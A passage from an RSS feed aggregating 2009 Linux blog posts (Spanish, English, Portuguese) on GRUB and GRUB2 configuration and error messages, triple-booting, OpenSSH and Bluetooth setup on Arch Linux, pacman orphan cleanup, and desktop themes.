<p>En cualquier caso Grub, una vez instalado se encuentra en <em>/boot</em> , y ahí tiene su archivo de configuración, donde podemos configurar las opciones de arranque.</p>
<p><strong>Como arranca Linux</strong></p>
<p>Para arrancar un SO Linux los pasos son los siguientes:</p>
<ol>
<li>Decirle a Grub la partición en la que se encuentra instalado el SO Linux</li>
<li>Iniciar el kernel</li>
</ol>
<p>Un ejemplo de como cargar un SO Linux, sería el siguiente:</p>
<blockquote><p>root (hd0,1)<br />
kernel	/vmlinuz root=/dev/hda2 ro</p></blockquote>
<h2>Como arranca Windows</h2>
<p>Para arrancar un SO Windows seguimos estos pasos:</p>
<ol>
<li>Decirle a Grub la partición en la que se encuentra instalado</li>
<li>Hacer la partición Activa</li>
<li>Llamara al cargador de arranque Windows</li>
</ol>
<p>El ejemplo de como cargar un SO Windows, es este:</p>
<blockquote><p>root (hd0,0)<br />
makeactive<br />
chainloader +1</p></blockquote>
<h2>menu.lst</h2>
<p>El archivo de configuración para Grub es el menu.lst, que se encuentra en /boot/grub/.</p>
<p>En este archivo debemos de poner las entradas del menú de Grub, con sus opciones de arranque correspondiente, además de algunos valores generales.</p>
<p>Los Discos Duros se enumeran desde 0, y las particiones también se enumeran desde 0. Así por ejemplo para la primera partición del primer disco escribiríamos (hd0,0)</p>
<p>Ejemplo de <em>/boot/grub/menu.lst</em>:</p>
<blockquote>
<pre># Configuration General
timeout   5
default   1
color light-blue/black light-cyan/blue

# Entradas del menú
# (0) Arch Linux
title  Arch Linux
root   (hd0,1)
kernel /boot/vmlinuz26 root=/dev/sda2 ro vga=773
initrd /boot/kernel26.img
</pre>
<pre># (1) Windows XP
title Windows XP
rootnoverify (hd0,0)
makeactive
chainloader +1</pre>
</blockquote>
<h2>grub.cfg</h2>
<p>El archivo de configuración para Grub2 es el grub.cfg, que se encuentra en /boot/grub/ .</p>
<p>En el archivo debemos de poner las entradas del menú de Grub2, con sus opciones de arranque correspondientes, además de algunos valores generales.</p>
<p>Los Discos Duros se enumeran desde 0, sin embargo lasparticiones se enumeran desde 1. Así por ejemplo para la primera partición del primer disco escribiríamos (hd0,1)</p>
<p>Ejemplo de <em>/boot/grub/gurb.cfg</em>:</p>
<blockquote>
<pre># Configuration General
set timeout=5
set default=0

# (0) Arch Linux
menuentry "Arch Linux" {
set root=(hd0,2)
linux /vmlinuz26 root=/dev/sda2 ro
initrd /kernel26.img
}

# (1) Windows
menuentry "Windows" {
set root=(hd0,1)
chainloader +1
}</pre>
</blockquote>
<h1>Solución a problemas básicos con Grub</h1>
<h2>Como restaurar Grub</h2>
<p>A veces no es posible prescindir de Windows, bien por los juegos o por trabajo, pero no todo se puede hacer en Linux. Pero en Windows es necesario un formateo cada cierto tiempo. Al formatear Windows, el MBR se reescribe para este, perdiendo Grub en 99% de los casos.</p>
<p>La solución es reinstalar grub, para lo que tendremos que arrancar desde alguna distribución live:</p>
<ul>
<li><a href="http://partedmagic.com/download.html">PartedMagic</a>: Es una distribución Live, ideada para trabajar con particiones.</li>
<li><a href="http://gparted.sourceforge.net/download.php">GParted Live</a>: Es otra distribución Live, ideada para trabajar con particiones.</li>
<li><a href="http://www.archlinux.org/download/">Arch Linux</a>: Es el CD de Instalación de Arch Linux, pero arranca una consola desde la que podemos trabajar igual.</li>
<li><a href="http://www.debian.org/CD/">Debian</a>: Igual que Arch, es el CD de Instalación de Debian, arranca una consola desde la que podemos reinstalar grub.</li>
</ul>
<p>Además prácticamente podemos reinstalar grub desde cualquier CD Linux. Veamos como reinstalar el Grub.</p>
<p>Ejecutamos el interprete de comandos de grub:</p>
<blockquote><p>grub</p></blockquote>
<p>Indicamos la localización de la partición donde se encuentra Grub:</p>
<blockquote><p>root (hdX,Y)</p></blockquote>
<p>Instalamos grub en el MBR del Disco.</p>
<blockquote><p>setup (hdX)</p></blockquote>
<p>Salimos y reiniciamos, ya está grub reinstalado.</p>
<blockquote><p>quit</p></blockquote>
<h2>Grub no muestra el menú sino su consola</h2>
<p>Este error puede darse tanto en Grub como en Grub 2. Suele darse cuando las ordenes escritas en el <em>menu.lst</em> o en el <em>grub.cfg</em> no son correctas. En particular cuando no hemos escrito correctamente el número de disco o partición.</p>
<p>En lugar del menú, aparece el mensaje de debajo.</p>
<blockquote><p>GNU GRUB version 0.97 (640K lower / 3072K upper memory)</p>
<p>[Minimal BASH-like line editing is supported. For the first<br />
word, TAB list possible command completions. Anywhere else TAB lists<br />
the possible completitions of a device/filename. ]</p>
<p>grub&#62;</p></blockquote>
<p>La respuesta es clara, primero pulsamos <em>TAB</em>, así vemos los posibles comandos a ejecutar. Entre ellos se encuentra cat, con lo que es fácil ver el archivo <em>menu.lst</em> o <em>grub.cfg</em>.</p>
<blockquote><p>cat /boot/grub/menu.lst<br />
cat /boot/grub/grub.cfg</p></blockquote>
<p>Con esto podemos ver las ordenes necesarias para el arranque,  que en el caso de Linux son <em>root </em>y<em> kernel</em> . En realidad este paso no es necesario si sabes lo que hay que poner. El <em>cat </em>es solo para orientarse/recordar comandos.</p>
<p>Una vez vistos basta con escribir los comandos y arrancar el SO Linux, y una vez hecho lo primero es modificar el archivo de configuración, para no volver a obtener este error.</p>
<h2>Errores numerados</h2>
<p>Además de estos hay otros errores numerados, aunque la solución a veces es parecida a estos dos anteriores, siempre viene bien saber el motivo del error.</p>
<p><a href="http://jfibergran.wordpress.com/2009/11/08/lista-de-errores-grub/">Aquí</a> la lista de errores.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lista de Errores Grub]]></title>
<link>http://jfibergran.wordpress.com/2009/11/08/lista-de-errores-grub/</link>
<pubDate>Sun, 08 Nov 2009 19:57:29 +0000</pubDate>
<dc:creator>FiBER</dc:creator>
<guid>http://jfibergran.wordpress.com/2009/11/08/lista-de-errores-grub/</guid>
<description><![CDATA[El arranque de Grub se divide en dos etapas, Stage 1 y Stage 2 cada una de ellas tiene sus mensajes ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>El arranque de Grub se divide en dos etapas, <strong>Stage 1</strong> y <strong>Stage 2</strong> cada una de ellas tiene sus mensajes de error. Listaremos los errores en función de la etapa en la que aparecen:</p>
<h2>Stage 1</h2>
<p>En esta etapa tan solo se muestra el error y se detiene el sistema:</p>
<ul>
<li><strong>Hard Disk Error: </strong>No se puede averiguar la geometría ni el tamaño del disco.</li>
<li><strong>Floppy Error:</strong> El error es el mismo que el anterior, pero se refiere a un Diskette.</li>
<li><strong>Read Error:</strong> Error de lectura al intentar pasar a la segunda etapa (stage 2).</li>
<li><strong>Geom Error: </strong>La ubicación en disco del Stage 2 no es accesible mediante llamadas BIOS. Este error suele deberse a modificaciones en la configuración del disco, ya sea modificar la tabla de particiones o cmabiar el disco de máquina.</li>
</ul>
<h2>Stage 2</h2>
<ol>
<li><strong>Filename must be either an absolute filename or blocklist: </strong>El fichero solicitado por grub, no cumple la sintaxis exigida.</li>
<li><strong>Bad file or directory type: </strong>El fichero solicitado por grub, no es un archivo regular sino un enlace simbólico, directorio o pipe (tubería).</li>
<li><strong>Bad or corrupt data while decompressing file: </strong>Este error aparece cuando la descompresión devuelve un error. Suele tratarse de un fichero dañado.</li>
<li><strong>Bad or incompatible header in compressed file: </strong> La cabecera de un fichero comprimido es incorrecta.</li>
<li><strong>Partition table invalid or corrupt: </strong> Este error aparece cuando la verificación de la tabla de particiones falla. A este error hay que temerle.</li>
<li><strong>Mismatched or corrupt version of stage1/stage2: </strong>Este error se debe a versiones incompatibles o dañadas de stage1 o stage2.</li>
<li><strong>Loading below 1MB is not supported: </strong>Aparece cuando la dirección más baja de un núcleo está por debajo de la cota de 1MB. El formato zImage de Linux es un caso especial, se puede manejar ya que su dirección de carga es fija y tiene un tamaño máximo.</li>
<li><strong>Kernel must be loaded before booting: </strong>Si le indicamos a grub que ejecute una secuencia de arranque sin haberle indicado un núcleo antes, aparece este error.</li>
<li><strong>Unknown boot failure: </strong> Razones desconocidas.</li>
<li><strong>Unsupported Multiboot features requested: </strong>A veces las características Multiboot requieren una característica que no se reconoce. El kernel requiere una gestión especial que Grub no tiene.</li>
<li><strong>Unrecognized device string: </strong>Se espera un nombre de dispositivo y el texto encontrado no cumple las reglas de nombres de dispositivos.</li>
<li><strong>Invalid device requested: </strong>El nombre de dispositivo es válido pero tiene un error en otro sitio.</li>
<li><strong>Invalid or unsupported executable format: </strong> La imagen del núcleo no se reconoce como multiboot o alguno de los formatos reconocidos.</li>
<li><strong>Filesystem compatibility error, cannot read whole file: </strong>Algún Sistema de Archivos de los que tiene que leer Grub, tiene una limitación en el tamaño de lectura. Se corrige eliminando dicho límite.</li>
<li><strong>File not found: </strong> No se encuentra el archivo solicitado, pero la ruta es correcta.</li>
<li><strong>Inconsistent filesystem structure: </strong>Error en la estructura del sistema de archivos. Suele deberse a un Sistema de Archivos dañado</li>
<li><strong>Cannot mount selected partition: </strong> La partición existe, pero Grub no la reconoce.</li>
<li><strong>Selected cylinder exceeds maximum supported by BIOS: </strong> La lectura intenta ir más allá del área direccionada por la BIOS. El error aparece cuando se intentan leer bloques lineales. Suele aparecer en discos IDE de gran tamaño.</li>
<li><strong>Linux kernel must be loaded before initrd: </strong>El error se debe a que hemos puesto initrd antes que kernel.</li>
<li><strong>Multiboot kernel must be loaded before modules: </strong>El error se debe a que hemos cargado módulos antes de cargar un núcleo Multiboot.</li>
<li><strong>Selected disk does not exist: </strong>El disco refereido no está presente o no se reconoce por la BIOS.</li>
<li><strong>No such partition: </strong>No existe la partición específica.</li>
<li><strong>Error while parsing number: </strong>Grub espera leer un número y encuentra datos incorrectos.</li>
<li><strong>Attempt to access block outside partition: </strong>La dirección lineal del bloque está fuera de la partición. Se debe a daños en el sistema de Archivos o a algún bug detectado por Grub.</li>
<li><strong>Disk read error: </strong> Se ha producido un error de lectura en el disco.</li>
<li><strong>Too many symbolic links: </strong>Demasiados enlaces simbólicos. El máximo son 5. Puede ser que los enlaces tengan un bucle.</li>
<li><strong>Unrecognized command: </strong>Cuando introducimos un nombre de orden no reconocido por Grub. Puede tratarse de un error al escribir.</li>
<li><strong>Selected item cannot fit into memory: </strong>Aparece cuando tratamos de cargar en memoria algo que no cabe.</li>
<li><strong>Disk write error: </strong>Este error se produce cuando grub intenta escribir en disco. Esto solo puede ocurrir durante la instalación o con la orden makeactive.</li>
<li><strong>Invalid argument: </strong>Algún argumento de alguna orden es incorrecto.</li>
<li><strong>File is not sector aligned: </strong>Cuando se accede a una partición ReiserFS. Se debe montar la partición con la opción &#8216;notail&#8217;.</li>
<li><strong>Must be authenticated: </strong>Se trata de acceder a un arranque protegido por contraseña. Hay que introducir una contraseña válida.</li>
<li><strong>Serial device not configured: </strong>Se intenta cmabiar el terminal a uno serie, pero no se ha activado ningún dispositivo serie.</li>
<li><strong>No spare sectors on the disk: </strong>Cuando no queda espacio libre. Si se intenta entrar en los sectores no usados tras el MBR, pero la partición primera empieza justo después del MBR.</li>
</ol>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Triple Booting Arch,Ubuntu and Windows]]></title>
<link>http://pdg86.wordpress.com/2009/11/08/triple-booting-archubuntu-and-windows/</link>
<pubDate>Sun, 08 Nov 2009 05:29:58 +0000</pubDate>
<dc:creator>pdg86</dc:creator>
<guid>http://pdg86.wordpress.com/2009/11/08/triple-booting-archubuntu-and-windows/</guid>
<description><![CDATA[So I wanted to install Ubuntu 9.10 and see how it &#8220;fails to&#8221; perform on my hard disk [as]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>So I wanted to install Ubuntu 9.10 and see how it &#8220;fails to&#8221; perform on my hard disk [as previously I tested he RCs in vbox within Arch]. Ubuntu boots up quite slow. At first a white ubuntu orb like logo appears and then the xsplash kicks in and after a while login screen comes and then it takes you to your desktop. However, the shutdown and reboot are way faster than any others&#8217; I have seen. Just click and bam you are out of ubuntu. Anyway, I had Arch and Windows pre-installed on my hard disk and I just wanted to install ubuntu in a spare partition I had. Here is the partitioning scheme:</p>
<blockquote><p>df -h<br />
Filesystem            Size  Used Avail Use% Mounted on<br />
/dev/sda3              28G   19G  8.1G  70% /            &#60;&#8212;&#8211;Arch&#8217;s Root<br />
none                 1005M  140K 1004M   1% /dev<br />
none                 1005M     0 1005M   0% /dev/shm<br />
/dev/sda5             7.4G  3.1G  4.0G  44% /pkg<br />
/dev/sda1             9.4G  5.9G  3.5G  64% /windows<br />
/dev/sda2             9.2G  3.2G  5.6G  37% /ubuntu<br />
/dev/sda6   swap        &#60;&#8212;&#8212;&#8211; Common swap of 2Gb for both Arch and ubuntu</p></blockquote>
<p>So I burnt the Ubuntu 9.10 amd64 [64bit version] ISO in a DVD-RW and boot my pc from it. When the partition option comes be careful not to select anything other than the partition you want to select ubuntu on and the swap will auto-detected. Now after entering the details and everything the final overview of the installation process will appear. Click on &#8220;Advanced&#8221; tab below and deselect &#8220;install grub&#8221; option. That&#8217;s right make sure that Ubuntu doesn&#8217;t install it&#8217;s grub on your hard disk. It&#8217;s useless. I find Arch&#8217;s Grub2 much more customizable, easy to apply custom backgrounds and icons,etc. So let ubuntu install <strong>without</strong> letting it install grub anywhere. Now after all&#8217;s done reboot your computer and go to Arch. Modify the <strong>/boot/grub/grub.cfg</strong></p>
<p><strong><!--more--><br />
</strong></p>
<p>Here is my modified grub menu:</p>
<blockquote><p>####################<br />
###BEGIN MENU###</p>
<p>set timeout=60<br />
set default=&#8221;0&#8243;<br />
set fallback=&#8221;1&#8243;</p>
<p># Entry 0 &#8211; Arch Linux<br />
menuentry &#8220;Arch Linux&#8221; &#8211;class &#8220;arch&#8221; {<br />
set root=(hd0,3)<br />
linux /boot/vmlinuz26 root=/dev/sda3 ro quiet splash vga=792<br />
initrd /boot/kernel26.img<br />
}</p>
<p># Entry 1 &#8211; Arch Linux (Fallback)<br />
menuentry &#8220;Arch Linux Fallback&#8221; &#8211;class &#8220;arch&#8221; {<br />
set root=(hd0,3)<br />
linux /boot/vmlinuz26 root=/dev/sda3 ro 3<br />
initrd /boot/kernel26-fallback.img<br />
}</p>
<p># Entry 2 &#8211; Ubuntu Linux<br />
menuentry &#8220;Ubuntu&#8221; &#8211;class &#8220;ubuntu&#8221; {<br />
set root=(hd0,2)<br />
linux /boot/vmlinuz-2.6.31-14-generic root=/dev/sda2 ro  quiet splash vga792<br />
initrd  /boot/initrd.img-2.6.31-14-generic<br />
}</p>
<p>## Entry 3 &#8211; Windows XP<br />
menuentry &#8220;Windows XP&#8221; &#8211;class &#8220;windows&#8221; {<br />
set root=(hd0,1)<br />
chainloader +1<br />
}</p>
<p>####  END MENU  ####<br />
####################</p></blockquote>
<p>I chose to display my full menu block so that you get an idea of what&#8217;s going on and accordingly fix your grub. My ubuntu is on /dev/sda2 so you should modify yours according to where you installed ubuntu.</p>
<p>That&#8217;s it, reboot and select ubuntu from the menu list.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SSH - Tu linux en todas partes]]></title>
<link>http://jfibergran.wordpress.com/2009/11/07/ssh-tu-linux-en-todas-partes/</link>
<pubDate>Sat, 07 Nov 2009 14:48:44 +0000</pubDate>
<dc:creator>FiBER</dc:creator>
<guid>http://jfibergran.wordpress.com/2009/11/07/ssh-tu-linux-en-todas-partes/</guid>
<description><![CDATA[Cualquier distribución linux se basa en un terminal, aprovechando esto podemos tener la consola de n]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><pre><img class="alignright size-full wp-image-480" title="openssh_logo" src="http://jfibergran.wordpress.com/files/2009/11/openssh_logo.png" alt="openssh_logo" width="194" height="191" /></pre>
<p>Cualquier distribución linux se basa en un terminal, aprovechando esto podemos tener la consola de nuestro equipo en cualquier parte usando ssh.</p>
<p><a href="http://es.wikipedia.org/wiki/Secure_Shell">Ssh</a> es una shell segura, es algo parecido a <a href="http://es.wikipedia.org/wiki/Telnet">telnet</a>, pero encriptado. Tan solo necesitamos instalar el servidor en nuestro ordenador y un cliente en cualquier otro equipo. Así que veremos este tutorial en dos partes Servidor y Cliente.</p>
<p><span style="color:#0000ff;"><strong><span style="text-decoration:underline;">SERVIDOR:</span></strong></span></p>
<blockquote><p>pacman -S openssh</p></blockquote>
<p>Después modificamos el archivo de configuración del demonio ssh, <em>sshd_config</em>:</p>
<blockquote><p>nano /etc/ssh/sshd_config</p></blockquote>
<p>Por defecto el fichero tiene gran cantidad de opciones comentadas. Yo lo borré todo y dejé solo esto:</p>
<pre>
<blockquote>
<pre>Port 22
ListenAddress 0.0.0.0
Protocol 2
LoginGraceTime 120
PermitRootLogin no
AllowUsers &#60;usuario1&#62; &#60;usuario2&#62;
</pre>
</blockquote>
</pre>
<p>Ya podemos iniciar el demonio:</p>
<blockquote><p>/etc/rc.d/sshd restart</p></blockquote>
<p>O podemos añadirlo al <em>rc.conf</em> para que se inicie al arrancar el sistema.</p>
<blockquote><p>nano /etc/rc.conf</p></blockquote>
<p>Y añadimos el ssh a la lista de demonios:</p>
<blockquote><p>DAEMONS=(&#8230; ssh &#8230;)</p></blockquote>
<p>Así permitimos acceso desde cualquier sitio a la ip de nuestro ordenador. Sin embargo, si tu IP es dinámica, es recomendable usar <a href="http://jfibergran.wordpress.com/2009/05/06/no-ip-en-arch-linux/">no-ip</a> para conectarte.</p>
<p>Si además tienes más de un equipo en tu red y bajo la misma IP, puedes configurar tu router añadiendo tu ip en la red local a la opción DMZ Host de tu router.</p>
<p><strong><span style="color:#0000ff;"><span style="text-decoration:underline;">CLIENTE:</span></span></strong></p>
<p>Para conectarnos al servidor podemos usar ssh desde la consola. Es necesario que tengamos instalado el paquete ssh:</p>
<blockquote><p>pacman -S openssh</p></blockquote>
<p>La orden para poder conectarnos sería la siguiente:</p>
<blockquote><p>ssh <a class="linkification-ext" title="Linkification: mailto:fib@192.168.1.4" href="mailto:fib@192.168.1.4">fib@192.168.1.4</a><br />
ssh <a class="linkification-ext" title="Linkification: mailto:fib@direccion.no-ip.com" href="mailto:fib@direccion.no-ip.com">fib@direccion.no-ip.com</a></p></blockquote>
<p>Donde fib es el usuario y lo que aparece después de la @ es la dirección del host.</p>
<p><img class="size-full wp-image-481 alignleft" title="putty-icon" src="http://jfibergran.wordpress.com/files/2009/11/putty-icon.gif" alt="putty-icon" width="72" height="68" />Para cualquier situación, también podemos usar <a href="http://es.wikipedia.org/wiki/Putty">putty</a>, que es un cliente ssh gratuito y multiplataforma. Descárgalo desde su <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html">página oficial</a>.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[screenshot] My Peaceful KDE Setup]]></title>
<link>http://pdg86.wordpress.com/2009/11/07/screenshot-my-peaceful-kde-setup/</link>
<pubDate>Sat, 07 Nov 2009 07:31:23 +0000</pubDate>
<dc:creator>pdg86</dc:creator>
<guid>http://pdg86.wordpress.com/2009/11/07/screenshot-my-peaceful-kde-setup/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a href="http://pdg86.wordpress.com/files/2009/11/snapshot6.png"><img class="aligncenter size-medium wp-image-192" title="KDE 4.3.3" src="http://pdg86.wordpress.com/files/2009/11/snapshot6.png?w=300" alt="KDE 4.3.3" width="300" height="225" /></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bluetooth en Arch Linux]]></title>
<link>http://jfibergran.wordpress.com/2009/11/06/bluetooth-en-arch-linux/</link>
<pubDate>Fri, 06 Nov 2009 11:03:03 +0000</pubDate>
<dc:creator>FiBER</dc:creator>
<guid>http://jfibergran.wordpress.com/2009/11/06/bluetooth-en-arch-linux/</guid>
<description><![CDATA[Primero instalamos el paquete bluetooth: pacman -S bluez Una vez hecho esto reiniciamos los servicio]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="size-full wp-image-473 alignright" title="KBluetooth-0.4-beta1a-mit-Nepomuk-Integration_medium" src="http://jfibergran.wordpress.com/files/2009/11/kbluetooth-0-4-beta1a-mit-nepomuk-integration_medium.png" alt="KBluetooth-0.4-beta1a-mit-Nepomuk-Integration_medium" width="200" height="200" />Primero instalamos el paquete bluetooth:</p>
<p>pacman -S bluez</p>
<p>Una vez hecho esto reiniciamos los servicios dbus y bluetooth:</p>
<p>/etc/rc.d/dbus restart<br />
/etc/rc.d/bluetooth restart</p>
<p>Añadimos bluetooth al rc.conf</p>
<p>DAEMONS=(&#8230; bluetooth )</p>
<p>Para saber si se ha detectado correctamente el bluetooth,  podemos hacerlo con:</p>
<p>Por último para usar la herramienta KDE para bluetooth:</p>
<p>pacman -S kbluetooth</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Things we all know]]></title>
<link>http://kmandla.wordpress.com/2009/11/05/things-we-all-know/</link>
<pubDate>Wed, 04 Nov 2009 22:53:44 +0000</pubDate>
<dc:creator>K.Mandla</dc:creator>
<guid>http://kmandla.wordpress.com/2009/11/05/things-we-all-know/</guid>
<description><![CDATA[I haven&#8217;t tried this yet, but I love the idea: Use the Arch Linux PKGBUILDs to streamline the ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I haven&#8217;t tried <a href="http://labs.slitaz.org/projects/show/tazarch" target="_blank" />this</a> yet, but I love the idea: Use the Arch Linux <a href="http://aur.archlinux.org" target="_blank" />PKGBUILD</a>s to streamline the creation of packages in <a href="http://slitaz.org/en" target="_blank" />SliTaz</a>. It&#8217;s like a graft of two of my favorite operating systems, one fast and light and the other fast and small and light. </p>
<p>It also suggests something small on the side: That maybe this sort of scripted package creation system &#8212; while certainly not invented by Arch &#8212; is a really great tool that ought to show up in some other, larger distributions (hint, hint). But Arch fans don&#8217;t need me saying out loud the things they already know. &#8230; <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kubuntu 9.10 Karmic Koala screenshot...]]></title>
<link>http://eyemeansit.wordpress.com/2009/11/04/kubuntu-9-10-karmic-koala-screenshot/</link>
<pubDate>Wed, 04 Nov 2009 17:00:45 +0000</pubDate>
<dc:creator>eyemeansit</dc:creator>
<guid>http://eyemeansit.wordpress.com/2009/11/04/kubuntu-9-10-karmic-koala-screenshot/</guid>
<description><![CDATA[I have taken a long and winding road since my last post, but have landed (for now) with Kubuntu 9.10]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I have taken a long and winding road since my last post, but have landed (for now) with Kubuntu 9.10. I had worked through the pain of setting up Arch Linux with KDEmod repositories and all, but could not seem to get past a dysfunctional Akonadi server, which would pester me every time I wanted to open Kmail or Korganizer or Kontact. So now, all is working very nicely with Kubuntu Karmic.</p>
<p>I did have an issue with installation&#8230; the live CD installation would stop every time with &#8220;scanning disks&#8221; at 47%, and simply would not proceed. I got around that by downloading the Alternate Install CD.</p>
<p>Here is a screenshot:</p>
<div id="attachment_167" class="wp-caption alignleft" style="width: 507px"><img class="size-full wp-image-167" title="KubuntuKarmic" src="http://eyemeansit.wordpress.com/files/2009/11/kubuntukarmic.png" alt="screenshot" width="497" height="310" /><p class="wp-caption-text">Kubuntu 9.10 screenshot using &#34;Elegance&#34; plasma theme and Quicklauncher taskbar widget</p></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[news] KDE 4.3.3 is here]]></title>
<link>http://pdg86.wordpress.com/2009/11/03/news-kde-4-3-3-is-here/</link>
<pubDate>Tue, 03 Nov 2009 11:45:05 +0000</pubDate>
<dc:creator>pdg86</dc:creator>
<guid>http://pdg86.wordpress.com/2009/11/03/news-kde-4-3-3-is-here/</guid>
<description><![CDATA[One of the great perks of being an Archer is that you get to try out the latest of everything before]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a href="http://www.tectonic.co.za/wordpress/wp-content/uploads/2009/01/kde-300x300.jpg"><img class="aligncenter" title="KDE 4.3.3" src="http://www.tectonic.co.za/wordpress/wp-content/uploads/2009/01/kde-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>One of the great perks of being an Archer is that you get to try out the latest of everything before everyone else. With the Maintenance release of KDE4.3.3 today, surely Arch Linux was ready to provide me with the brand new fresh KDE packages. All I had to do is a &#8220;pacman -Syu&#8221;.</p>
<p>Many non-Archers/Ubuntu users/People not familiar with rolling release model will go huh? :O That&#8217;s it? No new distro release? No re-installation? No formatting? Yup, that&#8217;s the beauty of Arch Linux being a <a href="http://en.wikipedia.org/wiki/Rolling_release" target="_blank">Rolling release</a> distribution. Kudos to KDE and Arch developers.</p>
<p>So the upgrade went smooth and then I recompiled the <a href="http://aur.archlinux.org/packages.php?ID=21084" target="_blank">kde-extragear-plasmoids</a> 4.3.3 from AUR. Don&#8217;t expect much changes since 4.3.2 as this is not a version upgrade but only a maintenance release. Enjoy the new KDE 4.3.3.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seguindo a Série da Rede Ponto a Ponto (4)]]></title>
<link>http://pobrecomputeiro.wordpress.com/2009/11/02/seguindo-a-serie-da-rede-ponto-a-ponto-4/</link>
<pubDate>Tue, 03 Nov 2009 00:01:43 +0000</pubDate>
<dc:creator>lmmoreira</dc:creator>
<guid>http://pobrecomputeiro.wordpress.com/2009/11/02/seguindo-a-serie-da-rede-ponto-a-ponto-4/</guid>
<description><![CDATA[Bom, agora que chegamos ao ponto final da nossa série de Rede Completa Ponto a Ponto, isto é: Já com]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Bom, agora que chegamos ao ponto final da nossa série de Rede Completa Ponto a Ponto, isto é:</p>
<p>Já compartilhamos a internet, já criamos pastas de arquivos compartilhados em cada máquina.</p>
<p>Só nos falta a última parte, e a mais complexa, isto é a criação do cluster entre as duas máquinas.</p>
<p>Inicialmente, gostaria de dizer que basearei meus estudos no livro</p>
<p>&#8220;Construindo Super Computadores com Linux&#8221; de Marcos Pitanga.</p>
<p>É isso aí.</p>
<p>Só pra constar!</p>
<p>A quero dizer que não esquecei de outras séries como a do SubVersion, Firebird e as mais antigas.</p>
<p>É que é meio dificil administrar todas.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Moving on...]]></title>
<link>http://100percentlinux.wordpress.com/2009/11/01/moving-on/</link>
<pubDate>Sun, 01 Nov 2009 23:05:26 +0000</pubDate>
<dc:creator>John</dc:creator>
<guid>http://100percentlinux.wordpress.com/2009/11/01/moving-on/</guid>
<description><![CDATA[Oh boy, was I pissed and disappointed. In the week that Windows 7 was released in the Netherlands, I]]></description>
<content:encoded><![CDATA[Oh boy, was I pissed and disappointed. In the week that Windows 7 was released in the Netherlands, I]]></content:encoded>
</item>
<item>
<title><![CDATA[November's GNOME theme]]></title>
<link>http://huwuno.wordpress.com/2009/11/01/novembers-gnome-theme/</link>
<pubDate>Sun, 01 Nov 2009 20:53:56 +0000</pubDate>
<dc:creator>Shiny</dc:creator>
<guid>http://huwuno.wordpress.com/2009/11/01/novembers-gnome-theme/</guid>
<description><![CDATA[Yawn&#8230; So mostly through boredom I&#8217;ve decided to share my current GNOME theme. It&#8217;s]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Yawn&#8230; So mostly through boredom I&#8217;ve decided to share my current GNOME theme. It&#8217;s a mixture of Clearlooks Industrial with Sonar borders, Meliae-Dark icons, Neutral cursors (as always) and a Tenjho Tenge wallpaper with matching GDM background. Check it bleed (Airplane humour&#8230; I&#8217;ll get my coat).</p>
<p><a href="http://www.imagebam.com/image/0c665254401113" target="_blank"><img src="http://i149.photobucket.com/albums/s49/huwuno/nov-09-thumb.jpg" alt="" /></a></p>
<p>Like it? All the stuffs is here:</p>
<p><a href="http://www.gnome-look.org/content/show.php/Clearlooks-Industrial?content=34253">Clearlooks Industrial theme</a><br />
<a href="http://www.mediafire.com/download.php?zyoknwntztk">Sonar theme (lifted from openSUSE 11.2)</a><br />
<a href="http://www.gnome-look.org/content/show.php/Meliae?content=88482">Meliae-Dark icons</a><br />
<a href="http://www.gnome-look.org/content/show.php/Neutral?content=28310">Neutral cursors</a><br />
<a href="http://www.imagebam.com/image/91dc4554401117">Tenjho Tenge wallpaper</a></p>
<p>To make the GDM background match the desktop wallpaper simply rename it <code>background-default.jpg</code> and copy it to</p>
<p><code>/usr/share/pixmaps/backgrounds/gnome/</code></p>
<p>You might wanna rename the original first&#8230; <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Eliminar paquetes huérfanos en Arch]]></title>
<link>http://jfibergran.wordpress.com/2009/11/01/eliminar-paquetes-huerfanos-en-arch/</link>
<pubDate>Sun, 01 Nov 2009 18:31:07 +0000</pubDate>
<dc:creator>FiBER</dc:creator>
<guid>http://jfibergran.wordpress.com/2009/11/01/eliminar-paquetes-huerfanos-en-arch/</guid>
<description><![CDATA[A veces pueden quedar paquetes innecesarios en nuestro ordenador, esto son paquetes huérfanos. La fo]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>A veces pueden quedar paquetes innecesarios en nuestro ordenador, esto son paquetes huérfanos.</p>
<p>La forma de borrarlos en Arch Linux es esta:</p>
<blockquote><p>pacman -Rns $(pacman -Qtdq)</p>
<p>&#160;</p>
</blockquote>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Grub 2]]></title>
<link>http://jfibergran.wordpress.com/2009/11/01/grub-2/</link>
<pubDate>Sun, 01 Nov 2009 18:00:07 +0000</pubDate>
<dc:creator>FiBER</dc:creator>
<guid>http://jfibergran.wordpress.com/2009/11/01/grub-2/</guid>
<description><![CDATA[Hacía tiempo que tenía ganas de tener un gestor de arranque gráfico, había probado ya grub-gfx pero,]]></description>
